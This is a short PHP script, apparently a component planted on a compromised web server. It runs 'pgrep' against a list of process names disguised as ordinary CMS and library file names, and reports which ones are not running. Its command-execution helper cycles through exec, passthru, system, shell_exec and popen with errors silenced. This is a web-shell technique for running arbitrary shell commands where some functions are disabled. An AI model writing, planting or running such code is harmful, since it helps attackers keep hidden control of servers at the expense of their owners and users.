<?php   $files = ['researchStaff','email.class','cma_enditemearly','usercp_activate','class.global.inc','_parse_propfind','dejavuserif','_con_aaa_DS','april4videos','innodb.lib','cma_m_aboutme','cust_accept05','user_password','register5','imagelibrary','table.vat','qformat_gift','bean_webobject','com_comprofiler','AttrValidator','edithtmlblob','_mailform','formatting','moneyorder','research_buttons','config_path','import_status','modifyalb','block_loancalc','Supplements']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }